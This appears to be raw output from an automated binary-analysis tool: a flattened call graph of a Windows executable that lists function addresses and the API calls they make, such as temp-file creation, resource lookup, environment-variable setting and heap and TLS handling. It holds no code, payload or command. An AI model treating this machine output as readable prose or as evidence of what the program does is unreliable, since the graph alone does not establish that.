7854 405eb0 6 API calls 7853->7854 7855 40304b 7854->7855 7856 40dec0 3 API calls 7855->7856 7857 403055 7856->7857 10206 40de80 GetLastError TlsGetValue SetLastError 7857->10206 7859 40305b 10207 40de80 GetLastError TlsGetValue SetLastError 7859->10207 7861 403063 10208 40de80 GetLastError TlsGetValue SetLastError 7861->10208 7863 40306b 10209 40de80 GetLastError TlsGetValue SetLastError 7863->10209 7865 403073 7866 40d100 8 API calls 7865->7866 7867 403083 7866->7867 10210 405182 TlsGetValue 7867->10210 7869 403088 7870 405eb0 6 API calls 7869->7870 7871 403090 7870->7871 7872 40dec0 3 API calls 7871->7872 7873 40309a 7872->7873 7874 402e9d 35 API calls 7873->7874 7875 4030a2 7874->7875 10211 40de80 GetLastError TlsGetValue SetLastError 7875->10211 7877 4030ac 7878 4021a4 122 API calls 7877->7878 7879 4030b7 7878->7879 7880 4051a0 3 API calls 7879->7880 7881 4030bc 7880->7881 10212 40de80 GetLastError TlsGetValue SetLastError 7881->10212 7883 4030c2 10213 40de80 GetLastError TlsGetValue SetLastError 7883->10213 7885 4030ca 7886 409355 33 API calls 7885->7886 7887 4030dd 7886->7887 7888 40dec0 3 API calls 7887->7888 7889 4030e7 7888->7889 7890 40323e 7889->7890 10214 40de80 GetLastError TlsGetValue SetLastError 7889->10214 7890->7890 7892 4030fe 10215 40de80 GetLastError TlsGetValue SetLastError 7892->10215 7894 403106 10216 40de80 GetLastError TlsGetValue SetLastError 7894->10216 7896 40310e 10217 40de80 GetLastError TlsGetValue SetLastError 7896->10217 7898 403116 7899 40d100 8 API calls 7898->7899 7900 403128 7899->7900 10218 405182 TlsGetValue 7900->10218 7902 40312d 7903 405eb0 6 API calls 7902->7903 7904 403135 7903->7904 7905 40dec0 3 API calls 7904->7905 7906 40313f 7905->7906 10219 40de80 GetLastError TlsGetValue SetLastError 7906->10219 7908 403145 10220 40de80 GetLastError TlsGetValue SetLastError 7908->10220 7910 40314d 10221 40de80 GetLastError TlsGetValue SetLastError 7910->10221 7912 403155 10222 40de80 GetLastError TlsGetValue SetLastError 7912->10222 7914 40315d 7915 40d100 8 API calls 7914->7915 7916 40316f 7915->7916 10223 405182 TlsGetValue 7916->10223 7918 403174 7919 405eb0 6 API calls 7918->7919 7920 40317c 7919->7920 7921 40dec0 3 API calls 7920->7921 7922 403186 7921->7922 10224 40de80 GetLastError TlsGetValue SetLastError 7922->10224 7924 40318c 7925 403cd7 84 API calls 7924->7925 7926 40319c 7925->7926 7927 40dec0 3 API calls 7926->7927 7928 4031a8 7927->7928 10225 40de80 GetLastError TlsGetValue SetLastError 7928->10225 7930 4031ae 7931 403cd7 84 API calls 7930->7931 7932 4031be 7931->7932 7933 40dec0 3 API calls 7932->7933 7934 4031c8 PathAddBackslashW 7933->7934 10226 40de80 GetLastError TlsGetValue SetLastError 7934->10226 7936 4031d7 10227 40de80 GetLastError TlsGetValue SetLastError 7936->10227 7938 4031e7 7939 40e020 4 API calls 7938->7939 7940 4031ef 7939->7940 7941 40e020 4 API calls 7940->7941 7942 4031fb 7941->7942 10228 405182 TlsGetValue 7942->10228 7944 403200 7945 40240c 34 API calls 7944->7945 7946 403208 7945->7946 7947 4051a0 3 API calls 7946->7947 7948 40320d 7947->7948 10229 40de80 GetLastError TlsGetValue SetLastError 7948->10229 7950 403217 7951 40e020 4 API calls 7950->7951 7952 40321f 7951->7952 7953 40dec0 3 API calls 7952->7953 7954 40322b PathRemoveBackslashW 7953->7954 7955 402ca9 141 API calls 7954->7955 7955->7890 7970->7427 7971->7430 7973 40d362 7972->7973 7974 40d3a0 TlsGetValue HeapReAlloc TlsSetValue 7973->7974 7975 40d378 TlsAlloc HeapAlloc TlsSetValue 7973->7975 7976 40d3e0 7974->7976 7977 40d3dc 7974->7977 7975->7974 7979 40db72 HeapAlloc 7976->7979 7977->7976 7978 409674 7977->7978 7981 40d52c HeapAlloc HeapAlloc InitializeCriticalSection 7978->7981 7980 40d3ec 7979->7980 7980->7978 7981->7436 7983 40e141 wcslen 7982->7983 7984 40e1ad 7982->7984 7986 40e176 HeapReAlloc 7983->7986 7987 40e158 HeapAlloc 7983->7987 7985 40e1b5 HeapFree 7984->7985 7988 40e198 7984->7988 7985->7988 7986->7988 7987->7988 7988->7441 7990 40a4c6 7989->7990 7994 40a4a7 7989->7994 7991 40a3eb 7990->7991 7992 40d74b 3 API calls 7990->7992 7996 40d946 7991->7996 7992->7990 7994->7991 8009 411d8a 7994->8009 8014 40d74b 7994->8014 7997 40d953 EnterCriticalSection 7996->7997 7998 40d9b8 7996->7998 7999 40d9ae LeaveCriticalSection 7997->7999 8000 40d96f 7997->8000 8024 40d6dd 7998->8024 8003 40a3f3 7999->8003 8002 40d946 4 API calls 8000->8002 8007 40d979 HeapFree 8002->8007 8003->7449 8003->7452 8005 40d9c4 DeleteCriticalSection 8006 40d9ce HeapFree 8005->8006 8006->8003 8007->7999 8010 411e85 8009->8010 8011 411da2 8009->8011 8010->7994 8011->8010 8013 411d8a HeapFree 8011->8013 8021 40df50 8011->8021 8013->8011 8015 40d758 EnterCriticalSection 8014->8015 8019 40d762 8014->8019 8015->8019 8016 40d7cb 8017 40d814 8016->8017 8018 40d80a LeaveCriticalSection 8016->8018 8017->7994 8018->8017 8019->8016 8020 40d7b5 HeapFree 8019->8020 8020->8016 8022 40df5b HeapFree 8021->8022 8023 40df6e 8021->8023 8022->8023 8023->8011 8025 40d6f5 8024->8025 8026 40d6eb EnterCriticalSection 8024->8026 8027 40d712 8025->8027 8028 40d6fc HeapFree 8025->8028 8026->8025 8029 40d718 HeapFree 8027->8029 8030 40d72e 8027->8030 8028->8027 8028->8028 8029->8029 8029->8030 8031 40d745 8030->8031 8032 40d73b LeaveCriticalSection 8030->8032 8031->8005 8031->8006 8032->8031 8034 40dbdb 8033->8034 8038 40dd26 8033->8038 8034->7456 8034->7458 8035 40dd51 HeapFree 8035->8034 8036 40dd4f 8036->8035 8037 411d8a HeapFree 8037->8038 8038->8035 8038->8036 8038->8037 8040 40dfea TlsGetValue 8039->8040 8041 40dfcc 8039->8041 8043 402f4d 8040->8043 8044 40dffb 8040->8044 8042 40de30 5 API calls 8041->8042 8045 40dfd1 TlsGetValue 8042->8045 8051 4051a0 8043->8051 8083 40e6a0 HeapAlloc HeapAlloc TlsSetValue 8044->8083 8074 412082 8045->8074 8048 40e000 TlsGetValue 8049 412082 13 API calls 8048->8049 8049->8043 8084 40e780 GetLastError TlsGetValue SetLastError 8051->8084 8053 4051ab 8053->7470 8054->7472 8055->7474 8056->7476 8057->7478 8060 40d12d 8058->8060 8085 40d220 8060->8085 8062 405182 TlsGetValue 8062->7482 8064 405ebd 8063->8064 8095 40e1e0 TlsGetValue 8064->8095 8067 40e260 3 API calls 8068 405ed1 8067->8068 8069 405edd 8068->8069 8097 40e370 TlsGetValue 8068->8097 8070 405f0d 8069->8070 8072 405f00 CharUpperW 8069->8072 8070->7484 8072->7484 8073->7486 8075 412092 TlsAlloc InitializeCriticalSection 8074->8075 8076 4120ae TlsGetValue 8074->8076 8075->8076 8077 4120c4 HeapAlloc 8076->8077 8078 41214b HeapAlloc 8076->8078 8079 40dfe8 8077->8079 8080 4120de EnterCriticalSection 8077->8080 8078->8079 8079->8043 8081 4120f0 7 API calls 8080->8081 8082 4120ee 8080->8082 8081->8078 8082->8081 8083->8048 8084->8053 8086 40d22c 8085->8086 8089 40e260 TlsGetValue 8086->8089 8090 40e27b 8089->8090 8091 40e2a1 HeapReAlloc 8090->8091 8092 40e2d4 8090->8092 8093 402fd9 8091->8093 8092->8093 8094 40e2f0 HeapReAlloc 8092->8094 8093->8062 8094->8093 8096 405ec5 8095->8096 8096->8067 8097->8069 8098->7495 8099->7497 8100->7499 8102 40e260 3 API calls 8101->8102 8103 4096aa GetModuleFileNameW wcscmp 8102->8103 8104 4096e5 8103->8104 8105 4096cd memmove 8103->8105 8171 40e3f0 TlsGetValue 8104->8171 8105->8104 8107 401bc5 8108 405182 TlsGetValue 8107->8108 8108->7503 8109->7512 8110->7514 8111->7516 8112->7519 8113->7521 8114->7524 8116 405e1d 8115->8116 8117 40e1e0 TlsGetValue 8116->8117 8118 405e40 8117->8118 8119 40e260 3 API calls 8118->8119 8120 405e4c 8119->8120 8121 401ce9 8120->8121 8172 40e370 TlsGetValue 8120->8172 8123 405182 TlsGetValue 8121->8123 8123->7529 8173 40d080 8124->8173 8127 405182 TlsGetValue 8127->7533 8128->7539 8130 40e042 8129->8130 8131 40e033 wcslen 8129->8131 8132 40e260 3 API calls 8130->8132 8131->8130 8133 40e04d 8132->8133 8133->7541 8134->7545 8135->7547 8136->7549 8137->7551 8138->7555 8139->7561 8140->7563 8142 405f2e 8141->8142 8143 40e1e0 TlsGetValue 8142->8143 8144 405f4a 8143->8144 8145 40e260 3 API calls 8144->8145 8146 405f56 8145->8146 8147 405f62 8146->8147 8188 40e370 TlsGetValue 8146->8188 8147->7565 8189 40d2e8 TlsGetValue 8149->8189 8154 40de80 GetLastError TlsGetValue SetLastError 8154->7572 8155->7576 8157 40d2e8 16 API calls 8156->8157 8158 409885 8157->8158 8159 40973a 17 API calls 8158->8159 8160 409898 8159->8160 8161 40e260 3 API calls 8160->8161 8162 4098a6 8161->8162 8198 40e3f0 TlsGetValue 8162->8198 8164 401dc9 8165 40e080 TlsGetValue 8164->8165 8165->7584 8199 40e740 TlsGetValue 8166->8199 8168 40516a 8168->7590 8169->7592 8170->7594 8171->8107 8172->8121 8176 40d092 8173->8176 8174 40d0dd 8175 40d220 3 API calls 8174->8175 8177 401cf6 8175->8177 8176->8174 8181 4121a0 8176->8181 8177->8127 8179 40d0b8 8187 412190 free 8179->8187 8182 412214 malloc 8181->8182 8183 4121ac WideCharToMultiByte 8181->8183 8182->8179 8183->8182 8185 4121e0 malloc 8183->8185 8185->8182 8186 4121f2 WideCharToMultiByte 8185->8186 8186->8179 8187->8174 8188->8147 8190 409869 8189->8190 8191 40d2fb HeapAlloc TlsSetValue 8189->8191 8194 40973a 8190->8194 8192 40d327 8191->8192 8193 412082 13 API calls 8192->8193 8193->8190 8195 40d2e8 16 API calls 8194->8195 8196 40974b GetCommandLineW 8195->8196 8197 401dab 8196->8197 8197->7570 8197->8154 8198->8164 8199->8168 8201 40e260 3 API calls 8200->8201 8202 405dcb 8201->8202 8202->7639 8203->7630 8204->7653 8206 40327b 8205->8206 8206->8206 8207 40dfc0 21 API calls 8206->8207 8208 40328d 8207->8208 8209 4051a0 3 API calls 8208->8209 8210 403296 8209->8210 9064 405060 8210->9064 8213 405060 2 API calls 8214 4032af 8213->8214 9067 402bc1 8214->9067 8217 4032b8 9072 40559a GetVersionExW 8217->9072 8218 4032cb 8221 4032d5 8218->8221 8222 40343b 8218->8222 9078 40de80 GetLastError TlsGetValue SetLastError 8221->9078 9110 40de80 GetLastError TlsGetValue SetLastError 8222->9110 8225 403441 9111 40de80 GetLastError TlsGetValue SetLastError 8225->9111 8226 4032db 9079 40de80 GetLastError TlsGetValue SetLastError 8226->9079 8229 403449 8231 4062c0 3 API calls 8229->8231 8230 4032e3 9080 4062c0 8230->9080 8233 403455 8231->8233 8235 40dec0 3 API calls 8233->8235 8237 40345f GetSystemDirectoryW PathAddBackslashW 8235->8237 8236 40dec0 3 API calls 8238 4032f9 GetWindowsDirectoryW PathAddBackslashW 8236->8238 8240 403439 8237->8240 9083 40de80 GetLastError TlsGetValue SetLastError 8238->9083 9112 40de80 GetLastError TlsGetValue SetLastError 8240->9112 8241 40331a 8243 40e020 4 API calls 8241->8243 8245 403322 8243->8245 8244 403480 8246 40e020 4 API calls 8244->8246 8247 40e020 4 API calls 8245->8247 8248 403488 8246->8248 8250 40332d 8247->8250 9113 405170 TlsGetValue 8248->9113 8252 40dec0 3 API calls 8250->8252 8251 40348f 8254 40df50 HeapFree 8251->8254 8253 403337 PathAddBackslashW 8252->8253 9084 40de80 GetLastError TlsGetValue SetLastError 8253->9084 8256 4034a7 8254->8256 8258 40df50 HeapFree 8256->8258 8257 40334a 8259 40e020 4 API calls 8257->8259 8260 4034af 8258->8260 8261 403352 8259->8261 8262 40df50 HeapFree 8260->8262 8263 40e020 4 API calls 8261->8263 8264 4034b8 8262->8264 8265 40335c 8263->8265 8266 40df50 HeapFree 8264->8266 8267 40dec0 3 API calls 8265->8267 8268 4034c1 8266->8268 8269 403366 8267->8269 8271 40df50 HeapFree 8268->8271 9085 40de80 GetLastError TlsGetValue SetLastError 8269->9085 8273 4034ca 8271->8273 8272 403370 8274 40e020 4 API calls 8272->8274 8273->7658 8275 403378 8274->8275 8276 40e020 4 API calls 8275->8276 8277 403382 8276->8277 8278 40e020 4 API calls 8277->8278 8279 40338c 8278->8279 8280 40dec0 3 API calls 8279->8280 8281 403396 8280->8281 9086 40adc0 8281->9086 8283 4033a4 8284 4033ba 8283->8284 9096 40a9d0 8283->9096 8286 40adc0 11 API calls 8284->8286 8287 4033d2 8286->8287 8288 4033e8 8287->8288 8289 40a9d0 11 API calls 8287->8289 8288->8240 9108 40de80 GetLastError TlsGetValue SetLastError 8288->9108 8289->8288 8291 403404 9109 40de80 GetLastError TlsGetValue SetLastError 8291->9109 8293 40340c 8294 4062c0 3 API calls 8293->8294 8295 403418 8294->8295 8296 40dec0 3 API calls 8295->8296 8297 403422 GetSystemDirectoryW PathAddBackslashW 8296->8297 8297->8240 8298->7664 8299->7666 8300->7668 8301->7670 8302->7674 8303->7680 8304->7682 8305->7684 8306->7686 8307->7690 8309 40dfc0 21 API calls 8308->8309 8310 402eaa 8309->8310 8311 405060 2 API calls 8310->8311 8312 402eb6 FindResourceW 8311->8312 8313 402ed5 8312->8313 8320 402ef1 8312->8320 9141 4026b8 8313->9141 8317 402f00 9155 40e7c0 8317->9155 9152 409ba0 8320->9152 8322 40df50 HeapFree 8323 402f3b 8322->8323 8324 40de80 GetLastError TlsGetValue SetLastError 8323->8324 8324->7698 8326 40dfc0 21 API calls 8325->8326 8327 4021b0 8326->8327 8328 4051a0 3 API calls 8327->8328 8329 4021b9 8328->8329 8330 4023ae 8329->8330 9181 40de80 GetLastError TlsGetValue SetLastError 8329->9181 9287 40de80 GetLastError TlsGetValue SetLastError 8330->9287 8333 4021d8 9182 40de80 GetLastError TlsGetValue SetLastError 8333->9182 8334 4023c4 8336 40e020 4 API calls 8334->8336 8338 4023cc 8336->8338 8337 4021e0 9183 40de80 GetLastError TlsGetValue SetLastError 8337->9183 9288 405170 TlsGetValue 8338->9288 8341 4023d3 8344 40df50 HeapFree 8341->8344 8342 4021e8 9184 40de80 GetLastError TlsGetValue SetLastError 8342->9184 8346 4023eb 8344->8346 8345 4021f0 9185 409c10 8345->9185 8348 40df50 HeapFree 8346->8348 8351 4023f4 8348->8351 8349 402204 9194 405182 TlsGetValue 8349->9194 8353 40df50 HeapFree 8351->8353 8352 402209 9195 406060 8352->9195 8355 4023fc 8353->8355 8357 40df50 HeapFree 8355->8357 8359 402405 8357->8359 8358 40dec0 3 API calls 8360 40221b 8358->8360 8359->7701 9198 40de80 GetLastError TlsGetValue SetLastError 8360->9198 8362 402221 9199 40de80 GetLastError TlsGetValue SetLastError 8362->9199 8364 402229 9200 40de80 GetLastError TlsGetValue SetLastError 8364->9200 8366 402231 9201 40de80 GetLastError TlsGetValue SetLastError 8366->9201 8368 402239 8369 409c10 5 API calls 8368->8369 8370 402250 8369->8370 9202 405182 TlsGetValue 8370->9202 8372 402255 8373 406060 5 API calls 8372->8373 8374 40225d 8373->8374 8375 40dec0 3 API calls 8374->8375 8376 402267 8375->8376 9203 40de80 GetLastError TlsGetValue SetLastError 8376->9203 8378 40226d 9204 40de80 GetLastError TlsGetValue SetLastError 8378->9204 8380 402275 9205 40de80 GetLastError TlsGetValue SetLastError 8380->9205 8382 402288 9206 40de80 GetLastError TlsGetValue SetLastError 8382->9206 8384 402290 9207 4057f0 8384->9207 8386 4022a6 9223 40e080 TlsGetValue 8386->9223 8388 4022ab 9224 40de80 GetLastError TlsGetValue SetLastError 8388->9224 8390 4022b1 9225 40de80 GetLastError TlsGetValue SetLastError 8390->9225 8392 4022b9 8393 4057f0 9 API calls 8392->8393 8394 4022cf 8393->8394 9226 405182 TlsGetValue 8394->9226 8396 4022d4 9227 405182 TlsGetValue 8396->9227 8398 4022dc 9228 408f69 8398->9228 8400 4022e5 8401 40dec0 3 API calls 8400->8401 8402 4022ef 8401->8402 8403 4023b0 8402->8403 8404 402300 8402->8404 8406 401fa9 36 API calls 8403->8406 9270 40de80 GetLastError TlsGetValue SetLastError 8404->9270 8406->8330 8407 402306 9271 40de80 GetLastError TlsGetValue SetLastError 8407->9271 8409 40230e 9272 40de80 GetLastError TlsGetValue SetLastError 8409->9272 8411 40231b 9273 40de80 GetLastError TlsGetValue SetLastError 8411->9273 8413 402323 8414 406060 5 API calls 8413->8414 8415 40232e 8414->8415 9274 405182 TlsGetValue 8415->9274 8417 402333 8418 40d100 8 API calls 8417->8418 8419 40233b 8418->8419 8420 40dec0 3 API calls 8419->8420 8421 402345 8420->8421 8421->8330 9275 40de80 GetLastError TlsGetValue SetLastError 8421->9275 8423 40235b 9276 40de80 GetLastError TlsGetValue SetLastError 8423->9276 8425 402368 9277 40de80 GetLastError TlsGetValue SetLastError 8425->9277 8427 402370 8428 4057f0 9 API calls 8427->8428 8429 402386 8428->8429 9278 40e080 TlsGetValue 8429->9278 8431 40238b 9279 405182 TlsGetValue 8431->9279 8433 402396 9280 408e27 8433->9280 8436 4051a0 3 API calls 8437 4023a4 8436->8437 8438 401fa9 36 API calls 8437->8438 8438->8330 8440 40dfc0 21 API calls 8439->8440 8444 401969 8440->8444 8441 4019ea 8443 409ba0 RtlAllocateHeap 8441->8443 8442 40de80 GetLastError TlsGetValue SetLastError 8442->8444 8445 4019f4 8443->8445 8444->8441 8444->8442 8448 405dc0 3 API calls 8444->8448 8457 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8444->8457 8460 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8444->8460 9339 40de80 GetLastError TlsGetValue SetLastError 8445->9339 8447 4019fe 9340 40de80 GetLastError TlsGetValue SetLastError 8447->9340 8448->8444 8450 401a06 9341 40a756 8450->9341 8453 40dec0 3 API calls 8454 401a17 GetTempFileNameW 8453->8454 9350 40de80 GetLastError TlsGetValue SetLastError 8454->9350 8456 401a35 9351 40de80 GetLastError TlsGetValue SetLastError 8456->9351 8457->8444 8459 401a3d 8461 409bc0 4 API calls 8459->8461 8460->8444 8462 401a48 8461->8462 8463 40dec0 3 API calls 8462->8463 8464 401a54 8463->8464 9352 40a7e7 8464->9352 8470 401a8a 9361 40de80 GetLastError TlsGetValue SetLastError 8470->9361 8472 401a92 8473 409bc0 4 API calls 8472->8473 8474 401a9d 8473->8474 8475 40dec0 3 API calls 8474->8475 8476 401aa9 8475->8476 8477 40a7e7 2 API calls 8476->8477 8478 401ab4 8477->8478 8479 40a6c5 3 API calls 8478->8479 8480 401abf GetTempFileNameW PathAddBackslashW 8479->8480 9362 40de80 GetLastError TlsGetValue SetLastError 8480->9362 8482 401aea 9363 40de80 GetLastError TlsGetValue SetLastError 8482->9363 8484 401af2 8485 409bc0 4 API calls 8484->8485 8486 401afd 8485->8486 8487 40dec0 3 API calls 8486->8487 8488 401b09 8487->8488 8489 40a7e7 2 API calls 8488->8489 8490 401b14 PathRenameExtensionW GetTempFileNameW 8489->8490 9364 40de80 GetLastError TlsGetValue SetLastError 8490->9364 8492 401b43 9365 40de80 GetLastError TlsGetValue SetLastError 8492->9365 8494 401b4b 8495 409bc0 4 API calls 8494->8495 8496 401b56 8495->8496 8497 40dec0 3 API calls 8496->8497 8498 401b62 8497->8498 9366 409b80 HeapFree 8498->9366 8500 401b6b 8501 40df50 HeapFree 8500->8501 8502 401b78 8501->8502 8503 40df50 HeapFree 8502->8503 8504 401b81 8503->8504 8505 40df50 HeapFree 8504->8505 8506 401b8a 8505->8506 8507 40460e 8506->8507 8508 40dfc0 21 API calls 8507->8508 8522 40461b 8508->8522 8509 40469c 9373 40de80 GetLastError TlsGetValue SetLastError 8509->9373 8510 40de80 GetLastError TlsGetValue SetLastError 8510->8522 8512 4046a2 8514 40358d 98 API calls 8512->8514 8513 405dc0 3 API calls 8513->8522 8515 4046b8 8514->8515 8517 40dec0 3 API calls 8515->8517 8516 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8516->8522 8518 4046c2 8517->8518 9374 40a95a 8518->9374 8521 40df50 HeapFree 8523 4046d6 8521->8523 8522->8509 8522->8510 8522->8513 8522->8516 8524 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8522->8524 8525 40df50 HeapFree 8523->8525 8524->8522 8526 4046df 8525->8526 8527 40df50 HeapFree 8526->8527 8528 4043c2 8527->8528 8529 40de80 GetLastError TlsGetValue SetLastError 8528->8529 8529->7708 8531 40dfc0 21 API calls 8530->8531 8532 403597 8531->8532 8533 4051a0 3 API calls 8532->8533 8534 4035a0 8533->8534 8535 405060 2 API calls 8534->8535 8536 4035ac 8535->8536 8537 4035b7 8536->8537 8538 4035db 8536->8538 9379 40de80 GetLastError TlsGetValue SetLastError 8537->9379 8539 4035e5 8538->8539 8540 403608 8538->8540 9381 40de80 GetLastError TlsGetValue SetLastError 8539->9381 8543 403612 8540->8543 8544 40363b 8540->8544 9382 40de80 GetLastError TlsGetValue SetLastError 8543->9382 8547 403645 8544->8547 8548 40366e 8544->8548 8545 4035bd 9380 40de80 GetLastError TlsGetValue SetLastError 8545->9380 8546 4035f1 8555 40e020 4 API calls 8546->8555 9400 40de80 GetLastError TlsGetValue SetLastError 8547->9400 8553 4036a1 8548->8553 8554 403678 8548->8554 8551 403618 9383 40de80 GetLastError TlsGetValue SetLastError 8551->9383 8552 4035c5 8558 40a7f5 5 API calls 8552->8558 8562 4036d4 8553->8562 8563 4036ab 8553->8563 9402 40de80 GetLastError TlsGetValue SetLastError 8554->9402 8560 4035f9 8555->8560 8565 4035cc 8558->8565 8569 40dec0 3 API calls 8560->8569 8561 40364b 9401 40de80 GetLastError TlsGetValue SetLastError 8561->9401 8567 403707 8562->8567 8568 4036de 8562->8568 9404 40de80 GetLastError TlsGetValue SetLastError 8563->9404 8564 403620 9384 40a83a 8564->9384 8575 40dec0 3 API calls 8565->8575 8566 40367e 9403 40de80 GetLastError TlsGetValue SetLastError 8566->9403 8572 403711 8567->8572 8573 40373a 8567->8573 9406 40de80 GetLastError TlsGetValue SetLastError 8568->9406 8578 4035d6 8569->8578 9408 40de80 GetLastError TlsGetValue SetLastError 8572->9408 8585 403744 8573->8585 8586 40376d 8573->8586 8575->8578 9377 40de80 GetLastError TlsGetValue SetLastError 8578->9377 8579 403653 8587 40a83a 17 API calls 8579->8587 8580 4036b1 9405 40de80 GetLastError TlsGetValue SetLastError 8580->9405 8583 403686 8594 40a83a 17 API calls 8583->8594 8584 4036e4 9407 40de80 GetLastError TlsGetValue SetLastError 8584->9407 9410 40de80 GetLastError TlsGetValue SetLastError 8585->9410 8591 403777 8586->8591 8592 40379d 8586->8592 8598 40365f 8587->8598 8589 4036b9 8599 40a83a 17 API calls 8589->8599 8590 403717 9409 40de80 GetLastError TlsGetValue SetLastError 8590->9409 9412 40de80 GetLastError TlsGetValue SetLastError 8591->9412 8606 4037f5 8592->8606 8607 4037a7 8592->8607 8593 40dec0 3 API calls 8593->8578 8602 403692 8594->8602 8608 40dec0 3 API calls 8598->8608 8610 4036c5 8599->8610 8613 40dec0 3 API calls 8602->8613 8603 40381f 8614 40e020 4 API calls 8603->8614 8604 4036ec 8615 40a83a 17 API calls 8604->8615 8605 40374a 9411 40de80 GetLastError TlsGetValue SetLastError 8605->9411 9442 40de80 GetLastError TlsGetValue SetLastError 8606->9442 9414 40de80 GetLastError TlsGetValue SetLastError 8607->9414 8608->8578 8620 40dec0 3 API calls 8610->8620 8611 40371f 8621 40a83a 17 API calls 8611->8621 8612 40377d 9413 40de80 GetLastError TlsGetValue SetLastError 8612->9413 8613->8578 8623 403827 8614->8623 8624 4036f8 8615->8624 8618 4037ad 9415 40de80 GetLastError TlsGetValue SetLastError 8618->9415 8619 4037fb 9443 40de80 GetLastError TlsGetValue SetLastError 8619->9443 8620->8578 8628 40372b 8621->8628 9378 405170 TlsGetValue 8623->9378 8631 40dec0 3 API calls 8624->8631 8625 403752 8632 40a83a 17 API calls 8625->8632 8636 40dec0 3 API calls 8628->8636 8629 403785 8637 40a83a 17 API calls 8629->8637 8631->8578 8633 40375e 8632->8633 8639 40dec0 3 API calls 8633->8639 8634 4037b5 9416 409355 8634->9416 8635 403803 8641 40a7f5 5 API calls 8635->8641 8636->8578 8642 403791 8637->8642 8638 40382e 8643 40df50 HeapFree 8638->8643 8639->8578 8645 40380a 8641->8645 8646 40dec0 3 API calls 8642->8646 8647 403846 8643->8647 8649 40dec0 3 API calls 8645->8649 8646->8578 8650 40df50 HeapFree 8647->8650 8648 40dec0 3 API calls 8651 4037d0 8648->8651 8649->8578 8652 40384e 8650->8652 8653 4037e9 8651->8653 8654 4037dd 8651->8654 8652->7711 8656 401fa9 36 API calls 8653->8656 9439 405532 8654->9439 8657 4037e7 8656->8657 8657->8578 8658->7715 8659->7717 8661 40dfc0 21 API calls 8660->8661 8662 402c04 8661->8662 8663 4051a0 3 API calls 8662->8663 8664 402c0d 8663->8664 8665 405060 2 API calls 8664->8665 8666 402c19 8665->8666 8667 409ba0 RtlAllocateHeap 8666->8667 8668 402c23 GetShortPathNameW 8667->8668 9452 40de80 GetLastError TlsGetValue SetLastError 8668->9452 8670 402c3f 9453 40de80 GetLastError TlsGetValue SetLastError 8670->9453 8672 402c47 8673 409c10 5 API calls 8672->8673 8674 402c57 8673->8674 8675 40dec0 3 API calls 8674->8675 8676 402c61 8675->8676 9454 409b80 HeapFree 8676->9454 8678 402c6a 9455 40de80 GetLastError TlsGetValue SetLastError 8678->9455 8680 402c74 8681 40e020 4 API calls 8680->8681 8682 402c7c 8681->8682 9456 405170 TlsGetValue 8682->9456 8684 402c83 8685 40df50 HeapFree 8684->8685 8686 402c9a 8685->8686 8687 40df50 HeapFree 8686->8687 8688 402ca3 8687->8688 8689 40e080 TlsGetValue 8688->8689 8689->7721 8690->7723 8692 4098c7 SetEnvironmentVariableW 8691->8692 8693 404434 8691->8693 8692->8693 8693->7726 8695->7729 8696->7737 8698 40dfc0 21 API calls 8697->8698 8699 401e5f 8698->8699 8700 4051a0 3 API calls 8699->8700 8701 401e68 8700->8701 9457 40de80 GetLastError TlsGetValue SetLastError 8701->9457 8703 401e6e 9458 40de80 GetLastError TlsGetValue SetLastError 8703->9458 8705 401e76 8706 409698 7 API calls 8705->8706 8707 401e7d 8706->8707 8708 40dec0 3 API calls 8707->8708 8709 401e87 PathQuoteSpacesW 8708->8709 8710 401ee0 8709->8710 8711 401e97 8709->8711 9525 40de80 GetLastError TlsGetValue SetLastError 8710->9525 9459 40de80 GetLastError TlsGetValue SetLastError 8711->9459 8714 401e9d 9460 4024f1 8714->9460 8715 401ee9 8717 40e020 4 API calls 8715->8717 8719 401ef1 8717->8719 8721 40dec0 3 API calls 8719->8721 8720 40dec0 3 API calls 8722 401eae 8720->8722 8723 401ede 8721->8723 9524 40de80 GetLastError TlsGetValue SetLastError 8722->9524 9526 40de80 GetLastError TlsGetValue SetLastError 8723->9526 8726 401eb7 8728 40e020 4 API calls 8726->8728 8727 401f05 8729 40e020 4 API calls 8727->8729 8730 401ebf 8728->8730 8731 401f0d 8729->8731 8732 40e020 4 API calls 8730->8732 9527 405170 TlsGetValue 8731->9527 8734 401eca 8732->8734 8736 40e020 4 API calls 8734->8736 8735 401f14 8738 40df50 HeapFree 8735->8738 8737 401ed4 8736->8737 8739 40dec0 3 API calls 8737->8739 8740 401f2b 8738->8740 8739->8723 8741 40df50 HeapFree 8740->8741 8742 401f34 8741->8742 8742->7740 8744 40385b 8743->8744 8744->8744 8745 40dfc0 21 API calls 8744->8745 8763 40386d 8745->8763 8746 4038ee 9558 40de80 GetLastError TlsGetValue SetLastError 8746->9558 8748 4038f4 9559 40de80 GetLastError TlsGetValue SetLastError 8748->9559 8750 4038fc 9560 40de80 GetLastError TlsGetValue SetLastError 8750->9560 8751 405dc0 3 API calls 8751->8763 8753 403904 9561 40de80 GetLastError TlsGetValue SetLastError 8753->9561 8755 40390c 8757 40d100 8 API calls 8755->8757 8756 40de80 GetLastError TlsGetValue SetLastError 8756->8763 8758 40391e 8757->8758 9562 405182 TlsGetValue 8758->9562 8759 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 8759->8763 8761 403923 8762 405eb0 6 API calls 8761->8762 8764 40392b 8762->8764 8763->8746 8763->8751 8763->8756 8763->8759 8765 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 8763->8765 8766 40dec0 3 API calls 8764->8766 8765->8763 8767 403935 8766->8767 9563 40de80 GetLastError TlsGetValue SetLastError 8767->9563 8769 40393b 9564 40de80 GetLastError TlsGetValue SetLastError 8769->9564 8771 403943 9565 40de80 GetLastError TlsGetValue SetLastError 8771->9565 8773 40394b 9566 40de80 GetLastError TlsGetValue SetLastError 8773->9566 8775 403953 8776 40d100 8 API calls 8775->8776 8777 403965 8776->8777 9567 405182 TlsGetValue 8777->9567 8779 40396a 8780 405eb0 6 API calls 8779->8780 8781 403972 8780->8781 8782 40dec0 3 API calls 8781->8782 8783 40397c 8782->8783 9568 40de80 GetLastError TlsGetValue SetLastError 8783->9568 8785 403982 9569 40de80 GetLastError TlsGetValue SetLastError 8785->9569 8787 40398a 9570 40de80 GetLastError TlsGetValue SetLastError 8787->9570 8789 403992 9571 40de80 GetLastError TlsGetValue SetLastError 8789->9571 8791 40399a 8792 40d100 8 API calls 8791->8792 